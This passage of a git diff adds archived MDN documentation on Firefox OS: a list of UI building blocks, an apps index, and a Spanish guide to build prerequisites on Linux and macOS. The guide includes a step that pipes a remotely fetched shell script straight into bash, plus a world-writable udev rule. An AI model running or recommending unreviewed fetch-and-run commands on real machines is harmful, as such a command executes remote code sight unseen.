+ <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Picker">Picker</a></dt>
+ <dd>The Picker is designed to select a group of items as attachments for messaging and email.</dd>
+ <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Progress_and_activity">Progress and activity</a></dt>
+ <dd>Progress and activity indicators provide the user with visual feedback that a process (such as a resource loading) is active.</dd>
+ <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Scrolling">Scrolling</a></dt>
+ <dd>Scrolling areas allow the user to move text and/or images across the device's display.</dd>
+ <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Search">Search</a></dt>
+ <dd>Search is used to filter a list or find context-specific content.</dd>
+ <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Slider">Slider</a></dt>
+ <dd>A Slider (which was called Seekbar in older Firefox OS versions) is used to select a value from a continuous or discrete range of values by dragging the handle.</dd>
+ <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Select_mode">Select mode</a></dt>
+ <dd>Select Mode (which was called Edit Mode in older Firefox OS versions) is designed to select and perform actions on items.</dd>
+ <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Subheader">Subheader</a></dt>
+ <dd>Subheaders are used to describe a subsection of content.</dd>
+ <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Switches">Switches</a></dt>
+ <dd>Switches (such as checkboxes, etc.) allow users to activate and deactivate items. Switches are also used to select items within a list.</dd>
+ <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Tab_Filter">Tab/Filter</a></dt>
+ <dd>A Tab/Filter gives the user a way to easily switch between views or to filter a set of data.</dd>
+ <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Toolbars">Toolbars</a></dt>
+ <dd>Toolbars contain actions, indicators and navigation elements associated with the current view.</dd>
+ <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Value_selector">Value selector</a></dt>
+ <dd>Value Selectors let the user choose from among a list of possible values.</dd>
+</dl>
+</div>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: For a detailed guide to the design pattern followed by the building blocks when the Arabic locale (bidirectional) is selected, read <a href="/en-US/Apps/Design/Firefox_OS_in_Arabic">Firefox OS in Arabic</a>.</p>
+</div>
+
+<h2 id="Cross_browser_CSS">Cross browser CSS</h2>
+
+<p>Arnau March wrote a CSS file called <a href="https://github.com/mdn/gaia-2.0-bb/blob/gh-pages/cross_browser_css/cross_browser.css">cross browser CSS</a>, containing rules to allow Firefox 2.0 building blocks to render properly across different browsers (ie 9, Firefox 18, Chrome 24, Safari 5.1.) If you want to write hosted apps that look ok across different browsers, include this CSS in your project.</p>
+
+<h2 id="Browse_Firefox_OS_Building_Block_implementations_by_version">Browse Firefox OS Building Block implementations by version</h2>
+
+<p>The pages below list links to pages covering the Firefox OS Building Block implementations as they appear in different versions of Firefox OS.</p>
+
+<ul>
+ <li><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/2.3">Firefox OS 2.3 Web components</a></li>
+ <li><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/2.0">Firefox OS 2.0 building blocks</a> (covers Firefox OS 2.0–2.2.)</li>
+ <li><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/1.x">Firefox OS 1.x building blocks</a> (covers older versions of Firefox OS.)</li>
+</ul>
diff --git a/files/es/archive/b2g_os/firefox_os_apps/index.html b/files/es/archive/b2g_os/firefox_os_apps/index.html
new file mode 100644
index 0000000000..370236dd14
--- /dev/null
+++ b/files/es/archive/b2g_os/firefox_os_apps/index.html
@@ -0,0 +1,85 @@
+---
+title: Firefox OS apps
+slug: Archive/B2G_OS/Firefox_OS_apps
+tags:
+  - Apps
+  - Building
+  - Components
+  - Firefox OS
+  - Installing
+  - NeedsTranslation
+  - TopicStub
+  - device APIs
+translation_of: Archive/B2G_OS/Firefox_OS_apps
+---
+<p class="summary">This section of the Firefox OS docs covers the specific techniques required — and available tools — for building Firefox OS apps. You'll find a number of details below, from Firefox OS building blocks/web components, to device APIs and App installation.</p>
+
+<h2 id="Building_Firefox_OS_apps">Building Firefox OS apps</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Building_apps_for_Firefox_OS">Building apps for Firefox OS</a></dt>
+ <dd>Firefox OS/Firefox platform app specifics, including App installation and management APIs, manifest files, packaged and hosted apps, handling API permissions.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Localization">Localization</a></dt>
+ <dd>This set of articles provides information for developers wishing to provide localized versions of their apps.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Performance">Performance</a></dt>
+ <dd>This page lists performance-related topics specific to Firefox OS.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Firefox_Accounts_on_Firefox_OS">Firefox Accounts on Firefox OS</a></dt>
+ <dd>This article provides an overview of using <a href="/en-US/docs/Mozilla/Tech/Firefox_Accounts">Firefox Accounts</a> in Firefox OS.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Reference_apps">Reference apps</a></dt>
+ <dd>This page lists a number of sample apps we've put together for you to download, install, play with and learn from. Have fun!</dd>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Screencast_series:_App_Basics_for_Firefox_OS">Screencast series: App Basics for Firefox OS</a></dt>
+ <dd>In this collection of short videos, developers from Mozilla and Telenor explain in a few steps how you can get started with building applications for Firefox OS.</dd>
+</dl>
+
+<h2 id="Building_blocks">Building blocks</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Building_blocks">Building Blocks</a></dt>
+ <dd>The Firefox OS Building Blocks are reusable UI components (also called 'common controls') that reflect OS-wide design patterns. Building Blocks are used to create the interfaces of all <a href="https://developer.mozilla.org/en-US/Firefox_OS/Platform/Gaia">Gaia</a> default apps. You are free to make use of these components in your own Firefox OS apps, or general Web apps.</dd>
+</dl>
+
+<h2 id="Styleguides">Styleguides</h2>
+
+<dl>
+ <dt><a href="http://www.mozilla.org/en-US/styleguide/products/firefox-os/">Firefox OS Visual styleguide</a></dt>
+ <dd>Our style guide for Firefox OS visual design, covering colours, typeface, backgrounds, app icons, and the design of specific UI elements.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Copy_styleguide">Firefox OS Copy styleguide</a></dt>
+ <dd>This guide outlines the rules we follow for writing Firefox OS app copy, but can be used as a general guide to writing good copy for any app interfaces.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Firefox_OS_in_Arabic">Firefox OS in Arabic</a></dt>
+ <dd>A guide to the specific UX design implementation Firefox OS has in place for dealing with Arabic (and other RTL languages.)</dd>
+</dl>
+
+<h2 id="Assets">Assets</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Design_asset_library">Firefox OS design asset library</a></dt>
+ <dd>In this section you'll find design assets, artwork, graphic templates, fonts and other materials that will be helpful as you design Firefox OS/Gaia apps.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Icon_font">Firefox OS icon font</a></dt>
+ <dd>Firefox OS has its own icon font set available: this article explains how to use it in your own apps.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Transitions">Firefox OS transitions</a></dt>
+ <dd>A reference to some of the transitions used in Firefox OS to move between different states in apps, including animated GIFs demonstrating the animations used, plus code samples to show the CSS animation code needed to implement these animations.</dd>
+</dl>
+
+<h2 id="References">References</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Firefox_OS_device_APIs">Firefox OS device APIs</a></dt>
+ <dd>This article provides a list of pages covering those APIs, as well as the <a href="https://developer.mozilla.org/en-US/Apps/Build/Manifest">app manifest</a> permissions for each one.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Firefox_OS_app_tools">Firefox OS app tools</a></dt>
+ <dd>This page provides a list of useful tools, libraries, examples, etc. that are useful for Firefox OS app developers, whether you want a code template to copy, or need help with adding a specific feature to your Firefox OS app.</dd>
+</dl>
+
+<h2 id="Other_app_topics">Other app topics</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Porting_Chrome_apps">Porting Chrome apps to Firefox OS Apps</a></dt>
+ <dd>This article discusses the differences between Chrome apps and Firefox OS Apps, and how you can convert between the two.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/App_development_FAQ">App development FAQ</a></dt>
+ <dd>This FAQ is a compilation of answers to common app development questions.</dd>
+</dl>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Mozilla/Marketplace">Firefox Marketplace</a></li>
+</ul>
diff --git a/files/es/archive/b2g_os/firefox_os_build_prerequisites/index.html b/files/es/archive/b2g_os/firefox_os_build_prerequisites/index.html
new file mode 100644
index 0000000000..f21ca58901
--- /dev/null
+++ b/files/es/archive/b2g_os/firefox_os_build_prerequisites/index.html
@@ -0,0 +1,204 @@
+---
+title: Prerrequisitos para compilar Firefox OS
+slug: Archive/B2G_OS/Firefox_OS_build_prerequisites
+translation_of: Archive/B2G_OS/B2G_OS_build_prerequisites
+---
+<p>Antes de bajarte el código fuente para compilar Firefox OS, necesitas un <a href="https://developer.mozilla.org/en-US/docs/Developer_Guide/Build_Instructions" title="https://developer.mozilla.org/en-US/docs/Developer_Guide/Build_Instructions">sistema de compilación</a> configurado correctamente. Ahora mismo, es posible compilar en distribuciones Linux de 64 bits, y en Mac OS X.</p>
+<h2 id="Necesitas_un_teléfono_móvil_compatible_o_un_emulador">Necesitas un teléfono móvil compatible o un emulador</h2>
+<p>Esto es importante. Aunque hay varios teléfonos compatibles, algunos de ellos tienen variantes y es posible que sólo algunas de esas variantes sean compatibles. Además, algunos teléfonos son más compatibles que otros. Ahora mismo, puedes utilizar Firefox OS / B2G en los siguientes teléfonos y dispositivos:</p>
+<h3 id="Categoría_1">Categoría 1</h3>
+<p>Dispositivos de Categoría 1 son aquellos que recomendamos para tareas de desarrollo, porque son los que primero reciben nueva funcionalidad y soluciones a problemas y errores. Los dispositivos de Categoría 1 son:</p>
+<dl>
+  <dt>
+    Unagi</dt>
+  <dd>
+    Unagi es un teléfono que usamos como plataforma de prueba y desarrollo para smartphones simples o de mediana capacidad. Muchos de los desarrolladores del equipo de Firefox OS utilizan Unagi.</dd>
+  <dt>
+    Otoro</dt>
+  <dd>
+    Otoro es un teléfono que usamos como plataforma de prueba y desarrollo para smartphones simples o de mediana capacidad. Muchos de los desarrolladores del equipo de Firefox OS utilizan Otoro.</dd>
+  <dt>
+    <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Pandaboard" title="/en-US/docs/Mozilla/Boot_to_Gecko/Pandaboard">Pandaboard</a></dt>
+  <dd>
+    Pandaboard es una mini placa base que se usa en el desarrollo de plataformas móviles. La placa está basada en la arquitectura OMAP 4.</dd>
+  <dt>
+    <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Using_the_B2G_emulators" title="/en-US/docs/Mozilla/Boot_to_Gecko/Using_the_B2G_emulators">Emulator (ARM and x86)</a></dt>
+  <dd>
+    Hay dos emuladores: uno emula código ARM y el otro ejecuta en código x86.</dd>
+  <dt>
+    <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Using_the_B2G_desktop_client" title="/en-US/docs/Mozilla/Boot_to_Gecko/Using_the_B2G_desktop_client">Ordenador</a></dt>
+  <dd>
+    También puedes construir una versión de Firefox OS para ordenador que ejecuta <a href="/en-US/docs/Gecko" title="/en-US/docs/Gecko">Gecko</a> en una aplicación <a href="/en-US/docs/XULRunner" title="/en-US/docs/XULRunner">XULRunner</a> y utiliza la experiencia de usuario que proporciona <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Introduction_to_Gaia" title="/en-US/docs/Mozilla/Boot_to_Gecko/Introduction_to_Gaia">Gaia</a></dd>
+</dl>
+<p><a href="/en-US/docs/Mozilla/Boot_to_Gecko/Using_the_B2G_desktop_client" title="en-US/docs/Mozilla/Boot_to_Gecko/Using_the_B2G_desktop_client">La versión para ordenador</a> y los <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Using_the_B2G_emulators" title="en-US/docs/Mozilla/Boot_to_Gecko/Using_the_B2G_emulators">emuladores</a> no requieren teléfono.</p>
+<h3 id="Categoría_2">Categoría 2</h3>
+<p>Los teléfonos de Categoría 2 en general funcionan, y muchos desarrolladores, especialmente desarrolladores de aplicaciones, los utilizan; pero tienden a recibir cambios y novedades más tarde.</p>
+<dl>
+  <dt>
+    <a class="link-https" href="https://en.wikipedia.org/wiki/Nexus_S#Variants" title="https://en.wikipedia.org/wiki/Nexus_S#Variants">Samsung Nexus S</a></dt>
+  <dd>
+    Los modelos de Nexus S que sabemos funcionan son el GT-I9020A y el GT-I9023. Es posible que otros modelos también funcionen.</dd>
+  <dt>
+    Samsung Nexus S 4G</dt>
+  <dd>
+    El modelo SPH-D720 es compatible como Categoría 2.</dd>
+</dl>
+<h3 id="Categoría_3">Categoría 3</h3>
+<p>Se puede construir Firefox OS para estos teléfonos, pero los desarrolladores del equipo de Firefox OS no trabajan en ellos regularmente, así que su funcionamiento y funcionalidad puede que sean significativamente peores que los de Categorías 1 y 2.</p>
+<dl>
+  <dt>
+    Samsung Galaxy S2</dt>
+  <dd>
+    El único modelo que funciona es el i9100. Ninguna de las otras variantes es oficialmente compatible. (Es posible que el i9100P también funcione, ya que la única diferencia es la adición del chip NFC).</dd>
+  <dt>
+    Samsung Galaxy Nexus</dt>
+  <dd>
+    En estos momentos no sabemos de ninguna variante que no sea compatible.</dd>
+</dl>
+<div class="warning">
+  <strong>Importante</strong>: Sólo son compatibles los teléfonos que utilizan como mínimo <strong>Android 4</strong> (alias <strong>Ice Cream Sandwich</strong>). Si tu teléfono se menciona en esta página pero usa una versión de Android más antigua, actualízalo primero.</div>
+<h2 id="Requisitos_para_Linux">Requisitos para Linux</h2>
+<p>Para compilar en Linux, necesitas:</p>
+<ul>
+  <li>Una instalación de <strong>GNU/Linux </strong><strong>64 bits </strong> (como distribución recomendamos Ubuntu 12.04).</li>
+  <li>Un mínimo de <strong>4 GB</strong> de ram / espacio en la partición de intercambio.</li>
+  <li>Un mínimo de <strong>20 GB</strong> de espacio libre en disco duro.</li>
+</ul>
+<p>Estos requisitos son más que el mínimo indispensable, pero los recomendamos porque la construcción puede fallar debido a falta de recursos.</p>
+<p>Puedes utilizar otras distribuciones, pero recomendamos Ubuntu 12.04 porque es el sistema que más gente utiliza sin dar problemas. Distribuciones que quizá no funcionen: <strong>distribuciones de 32 bits</strong> y distribuciones recientes (<strong>Ubuntu 12.10, Fedora 17/18, Arch Linux</strong> debido a <strong>gcc 4.7</strong>).</p>
+<p>También necesitas instalar las siguiente utilidades:</p>
+<ul>
+  <li><strong>autoconf 2.13</strong></li>
+  <li><strong>bison</strong></li>
+  <li><strong>bzip2</strong></li>
+  <li><strong>ccache</strong></li>
+  <li><strong>curl</strong></li>
+  <li><strong>flex</strong></li>
+  <li><strong>gawk</strong></li>
+  <li><strong>git</strong></li>
+  <li><strong>gcc / g++ / g++-multilib</strong> <strong>(4.6.3 or older)</strong></li>
+  <li><strong>make</strong></li>
+  <li><strong>OpenGL headers</strong></li>
+  <li><strong>X11 headers</strong></li>
+  <li><strong>32-bit ncurses</strong></li>
+  <li><strong>32-bit zlib</strong></li>
+</ul>
+<h3 id="Ejemplos_de_instalación_de_64_bits"><strong>Ejemplos de instalación de 64 bits:</strong></h3>
+<p><strong>Ubuntu 12.04 / Linux Mint 13 / Debian 6</strong></p>
+<pre>$ sudo apt-get install autoconf2.13 bison bzip2 ccache curl flex gawk gcc g++ g++-multilib git ia32-libs lib32ncurses5-dev lib32z1-dev libgl1-mesa-dev libx11-dev make</pre>
+<p class="note">Cuando compiles en Ubuntu 64 bits, es posible que necesites crear enlaces simbólicos (symlinks) a las versiones de 32 bits de <code>libX11.so</code> y <code>libGL.so</code>:</p>
+<pre class="note">$ sudo ln -s /usr/lib/i386-linux-gnu/libX11.so.6 /usr/lib/i386-linux-gnu/libX11.so
+$ sudo ln -s /usr/lib/i386-linux-gnu/mesa/libGL.so.1 /usr/lib/i386-linux-gnu/libGL.so</pre>
+<p><strong>Ubuntu 12.10</strong></p>
+<pre>$ sudo apt-get install autoconf2.13 bison bzip2 ccache curl flex gawk gcc-4.6 g++-4.6 g++-4.6-multilib git ia32-libs lib32ncurses5-dev lib32z1-dev libgl1-mesa-dev libx11-dev make</pre>
+<p class="note">Además del paso ya explicado para solucionar el problema con las versiones 32 bits de <code>libX11.so</code> y <code>libGL.so</code>, también necesitas especificar GCC 4.6 como el compilador del host por defecto antes de empezar a construir. Una vez que te hayas descargado el código, <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Boot_to_Gecko/Customization_with_the_.userconfig_file#Changing_the_default_host_compiler" title="en-US/docs/Mozilla/Boot_to_Gecko/Customization_with_the_.userconfig_file#Changing_the_default_host_compiler">lee nuestras instrucciones</a> al respecto.</p>
+<p><strong>Fedora 16:</strong></p>
+<pre class="note">$ sudo yum install autoconf213 bison bzip2 ccache curl flex gawk gcc-c++ git glibc-devel glibc-static libstdc++-static libX11-devel make mesa-libGL-devel ncurses-devel patch zlib-devel ncurses-devel.i686 readline-devel.i686 zlib-devel.i686 libX11-devel.i686 mesa-libGL-devel.i686 glibc-devel.i686 libstdc++.i686 libXrandr.i686</pre>
+<p><strong>Arch Linux (distribución aún incompatible):</strong></p>
+<pre class="note">$ sudo <span style=""><span style="">pacman -S --needed </span></span><span style=""><span style="">alsa-lib </span></span><span style=""><span style="">autoconf2.13</span></span><span style=""><span style=""> bison</span></span><span style=""><span style=""> ccache</span></span><span style=""><span style=""> </span></span><span style=""><span style="">curl firefox </span></span><span style=""><span style="">flex </span></span><span style=""><span style="">gcc-multilib </span></span><span style=""><span style="">git </span></span><span style=""><span style="">gperf </span></span><span style=""><span style="">libnotify </span></span><span style=""><span style="">libxt </span></span><span style=""><span style="">libx11 mesa multilib-devel </span></span><span style=""><span style="">wireless_tools </span></span><span style=""><span style="">yasm</span></span><span style=""><span style=""> </span></span><span style=""><span style="">lib32-mesa </span></span><span style=""><span style="">lib32-ncurses lib32-readline</span></span><span style=""><span style=""> </span></span><span style=""><span style="">lib32-zlib</span></span></pre>
+<p>Por defecto, Arch Linux utiliza Python3. Necesitas forzar el uso del antiguo python2:</p>
+<pre><span style=""><span style="">$ cd /usr/bin</span></span>
+
+<span style=""><span style="">$ sudo ln -fs python2 python</span></span></pre>
+<h2 id="Requisitos_para_Mac_OS_X">Requisitos para Mac OS X</h2>
+<p>Para compilar Firefox OS con Mac OS X, necesitas <a class="external" href="http://itunes.apple.com/us/app/xcode/id497799835?mt=12" title="http://itunes.apple.com/us/app/xcode/id497799835?mt=12">instalar Xcode</a>, que está disponible en el Mac App Store.</p>
+<p><strong>Instalar las Utilidades de Línea de Comandos (XCode 4.3.1 y versiones más recientes)</strong></p>
+<p>Xcode 4.3.1 (OS X 10.7 "Lion") y versiones más recientes como 4.4.1+ (Mac OS X10.8 "Mountain Lion") no incluyen necesariamente las Utilidades de Línea de Comandos. Cuando instales Xcode, abre las Preferencias, luego el Panel de Descargas, e instala las Utilidades de Línea de Comandos. Además, asegúrate de que tienes como mínimo 20 GB de espacio libre en el disco duro.</p>
+<p><img alt="Imagen de la opción de para bajarse la Utilidades de Línea de Comandos en Xcode" src="/files/4557/xcode_downloads_command_line_tools.png" style="width: 750px; height: 528px;"></p>
+<div class="note">
+  <strong>Atención:</strong> El emulador de Firefox OS necesita un procesador Core 2 Duo o más reciente, es decir, un sistema compatible con Mac OS X 10.7 "Lion". No tienes por qué utilizar Lion, pero tu sistema debe ser compatible con Lion. Esto es sólo para el emulador: puedes construir Firefox OS en Macs más antiguos.</div>
+<p><font face="Georgia, Times, Times New Roman, serif"><span style="font-size: 20px; line-height: 31px;"><b>Cómo iniciar Firefox OS en Mac</b></span></font></p>
+<p>Abre una consola y ejecuta el comando siguiente:</p>
+<pre class="brush: bash">curl -fsSL https://raw.github.com/mozilla-b2g/B2G/master/scripts/bootstrap-mac.sh | bash</pre>
+<p>Este comando obtiene y ejecuta un programa de inicio que se asegura de que tienes todo lo necesario para compilar el emulador. También solicitará permiso para instalar cualquier cosa que falte. El programa buscará e instalará lo siguiente:</p>
+<ul>
+  <li><code>git</code></li>
+  <li><code>gpg</code></li>
+  <li><code>ccache</code></li>
+  <li><code>yasm</code></li>
+  <li><code>autoconf-213</code></li>
+  <li><code>gcc-4.6</code></li>
+  <li><code>homebrew</code></li>
+</ul>
+<div>
+  <p>Xcode</p>
+  <p>Si ya has actualizado Xcode a la versión 4.4+ pero recibes un mensaje diciendo que Xcode necesita actualización, revisa la ruta de Xcode con este comando:</p>
+  <pre>xcode-select -print-path</pre>
+  Si la ruta todavía apunta a <code>/Developer</code> puedes actualizarla haciendo:
+  <pre>sudo xcode-select -switch /Applications/Xcode.app</pre>
+  Asegúrate también de que el SDK de Mac OS X 10.6 existe en:
+  <pre>/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/</pre>
+  <p>Si no existe, tendrás que extraerlo y copiarlo del archivo DMG de Xcode 4.3, que está disponible en el <a class="external" href="https://developer.apple.com/downloads/index.action">Portal para desarrolladores de Apple</a>. Puedes usar una utilidad que se llama Pacifist para extraer el SDK 10.6. Asegúrate de crear un enlace simbólico (symlink) entre el SDK y el directorio <code>/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/</code></p>
+  <h3 id="Mountain_Lion">Mountain Lion</h3>
+  <div>
+    <p>Si construyendo en OS X 10.8 "Mountain Lion" (Xcode 4.4.1 o más reciente) te encuentras un error como éste:</p>
+    <pre style="font-size: 14px;">external/qemu/android/skin/trackball.c:130:25: error: 'M_PI' undeclared (first use in this function)</pre>
+    Edita el archivo: <code style="font-size: 14px;">B2G/external/qemu/makefile.android</code> y añade en la línea 78:<br>
+    <pre style="font-size: 14px;">MY_CFLAGS += -DM_PI=3.14159265358979323846264338327950288   #/* B2G_fix: not finding M_PI constant */
+</pre>
+    <div>
+      Si usando Mountain Lion, y durante la instalación de las dependencias vía homebrew, te encuentras un error como éste:</div>
+  </div>
+</div>
+<div>
+  <pre>clang: error: unable to execute command: Segmentation fault: 11</pre>
+  <p>... prueba a reinstalar las dependencias manualmente añadiendo la opción --use-gcc como se muestra en el ejemplo:</p>
+  <pre>brew install mpfr --use-gcc</pre>
+</div>
+<h3 id="Samsung_Galaxy_S2">Samsung Galaxy S2</h3>
+<p>Si tu intención es compilar para el Samsung Galaxy S2, también necesitarás instalar heimdall. Para más información, visita {{ anch("Instalación de heimdall") }}. ¡El programa de inicio <strong>no</strong> ejecuta este paso!</p>
+<div class="note">
+  <strong>Atención:</strong> Si has instalado la utilidad <a class="external" href="http://www.samsung.com/us/kies/" title="http://www.samsung.com/us/kies/">Samsung Kies</a>, que se utiliza para administrar los contenidos de muchos teléfonos Samsung, tienes que eliminarla antes de flashear Firefox OS en el teléfono. En Windows, puedes utilizar el procedimiento estándar para remover aplicaciones; en Mac, la imagen de Kies incluye una utilidad para desinstalar Kies completamente. Flashear Firefox OS <strong>fallará</strong> si tienes Kies instalado. Si se te olvida eliminar Kies, el sistema de compilación lo detectará y te recordará que debes desinstalarlo. Ten en cuenta que la utilidad de desinstalación no elimina correctamente el directorio <code>~/Library/Application Support/.FUS</code>, y deja una referencia a cierta utilidad en ese directorio en la lista de programas a ejecutar en inicio. Necesitas eleminar el directorio y la refencia manualmente.</div>
+<div class="note">
+  <strong>Atención:</strong> Mac OS X utiliza un sistema de archivos que ignora las mayúsculas, lo que no te permitirá construir Firefox OS en el futuro (<strong>NOTA DEL EDITOR: yo nunca he tenido problemas con esto)</strong>. Te recomendamos que generes una imagen de disco "sparse" sensible a las mayúsculas y que trabajes desde ese directorio. Para construir una imagen de disco "sparse" sensible a las mayúsculas ejecuta:</div>
+<pre>hdiutil create -type SPARSE -fs 'Case-sensitive Journaled HFS+' -size 40g ~/firefoxos.dmg</pre>
+<p>Monta la imagen ejecutando:</p>
+<pre>open ~/firefoxos.dmg</pre>
+<p>Navega al directorio de la imagen montada con:</p>
+<pre>cd /Volumes/untitled/</pre>
+<h3 class="note" id="Cómo_arreglar_la_dependencia_de_libmpc_si_no_funciona">Cómo arreglar la dependencia de libmpc si no funciona</h3>
+<p>gcc 4.6 fue creado con libmpc 0.9; si utilizas homebrew para actualizar paquetes, libmpc se actualiza a la versión 1.0, pero homebrew no recompila gcc 4.6 tras el cambio de versión. Por ello debes crear un enlace simbólico (symlink) para asegurarte de que todo funciona correctamente. Creas el enlace así:</p>
+<pre>cd /usr/local/lib/
+ln -s libmpc.3.dylib libmpc.2.dylib</pre>
+<h3 id="Opcional_Instalación_de_HAX">Opcional: Instalación de HAX</h3>
+<p>Intel proporciona un "driver" especial que permite al emulador x86 de B2G ejecutar código nativamente en el Mac en lugar de emularlo. Si quieres utilizar esta opción, puedes <a class="external" href="http://software.intel.com/en-us/articles/intel-hardware-accelerated-execution-manager/" title="http://software.intel.com/en-us/articles/intel-hardware-accelerated-execution-manager/">bajártela e instalarla</a>. No es obligatorio, pero puede mejorar la estabilidad y velocidad de la emulación.</p>
+<h2 class="note" id="Instalación_de_adb">Instalación de adb</h2>
+<p>El proceso de compilado necesita obtener bloques binarios de la instalación de Android en el teléfono antes de compilar B2G (a menos, claro, que estés compilando el emulador). Para ello necesitas <code>adb</code>, el "Android Debug Bridge".</p>
+<p>Para obtenerlo, debes instalar el paquete básico del Android SDK (<a class="external" href="http://developer.android.com/sdk/index.html" title="http://developer.android.com/sdk/index.html">Android SDK starter package</a>) para tu versión de Android. Luego, ejecuta el gestor de paquetes haciendo <code>$SDK_HOME/tools/android</code>, y usa la interfaz gráfica para instalar las herramientas de sistema del Android SDK (Android SDK Platform-tools).</p>
+<p><code>adb</code> será instalado en <code>$SDK_HOME/platform_tools</code>. Asegúrate de añadir este directorio a tu <code>PATH</code>. Para ello, añade esta línea:</p>
+<pre>PATH=$SDK_HOME/platform_tools:$PATH</pre>
+<p>a tu ~/.bashrc o equivalente, sustituyendo $SDK_HOME con el directorio del Android SDK. También es recomendable ejecutar:</p>
+<pre>adb pull /system &lt;backup target dir&gt;/system
+</pre>
+<p>para hacer una copia de seguridad de la partición de Android en tu teléfono. Así tendrás una copia de todos los bloques binarios para Android en caso de que quieras eliminar los archivos de B2G. Dependiendo del teléfono, también necesitas hacer copia de seguridad de los directorios /data y/o /vendor:</p>
+<pre>adb pull /data &lt;backup target dir&gt;/data
+adb pull /vendor &lt;backup target dir&gt;/vendor
+</pre>
+<h2 class="note" id="Instalación_de_heimdall">Instalación de heimdall</h2>
+<p>Heimdall es una utilidad para flashear el Samsung Galaxy S2. B2G la utiliza para reemplazar los contenidos del teléfono con Firefox OS, y para flashear versiones nuevas de B2G y Gaia. Necesitas Heimdall para instalar Firefox OS sólo en el Galaxy S2; <strong>no</strong> es necesaria para ningún otro teléfono. Para otros móviles, se construye y utiliza la utilidad fastboot.</p>
+<div class="note">
+  <strong>Atención:</strong> Recuerda que heimdall se necesita <strong>sólo para instalar Firefox OS en el Samsung Galaxy S2</strong>.</div>
+<p>Hay dos maneras de instalar heimdall:</p>
+<ul>
+  <li><a class="link-https" href="https://github.com/Benjamin-Dobell/Heimdall" title="https://github.com/Benjamin-Dobell/Heimdall">Bajándote el código de</a> GitHub y compilándolo tú.</li>
+  <li>Utilizando un gestor de paquetes para la instalación:
+    <ul>
+      <li>En Linux: <code>sudo apt-get install libusb-1.0-0 libusb-1.0-0-dev</code></li>
+      <li>Para Mac, te puedes <a class="link-https" href="https://github.com/downloads/Benjamin-Dobell/Heimdall/heimdall-suite-1.3.2-mac.dmg" title="https://github.com/downloads/Benjamin-Dobell/Heimdall/heimdall-suite-1.3.2-mac.dmg">bajar una imagen</a>.</li>
+    </ul>
+  </li>
+</ul>
+<h2 id="Configuración_de_ccache">Configuración de ccache</h2>
+<p>El tamaño estándar de ccache es 1GB; la compilación de B2G enseguida agota esta capacidad. Puedes cambiar el tamaño de tu cache con este comando:</p>
+<pre><code>$ ccache --max-size 2GB</code></pre>
+<h2 id="Configuración_de_la_regla_udev_en_tu_móvil">Configuración de la regla udev en tu móvil</h2>
+<p>Llegado a este punto, puedes obtener el código de identificación del fabricante del USB ejecutando <code>lsusb</code>, pero por lo general es Google (código 18d1) o Samsung (código 04e8). Por tanto, añadir la línea siguiente:</p>
+<pre>SUBSYSTEM=="usb", ATTR{idVendor}=="18d1", MODE="0666", GROUP="plugdev"</pre>
+<p>al archivo <code>/etc/udev/rules.d/51-android.rules</code> debería funcionar.</p>
+<p>Guarda los cambios, cierra el archivo, y hazlo legible:</p>
+<pre>$ sudo chmod a+r /etc/udev/rules.d/51-android.rules
+</pre>
+<h2 id="Configurar_el_teléfono">Configurar el teléfono</h2>
+<p>Antes de conectar tu teléfono al puerto USB, pon el USB en modo desarrollo, lo que te permitirá acceder al teléfono para depurar y flashear. Para ello, abre la aplicación de Ajustes, accede a la sección de Aplicaciones &gt; Desarrollo, y selecciona la opción "Depuración USB".</p>
+<h2 id="Siguiente_paso">Siguiente paso</h2>
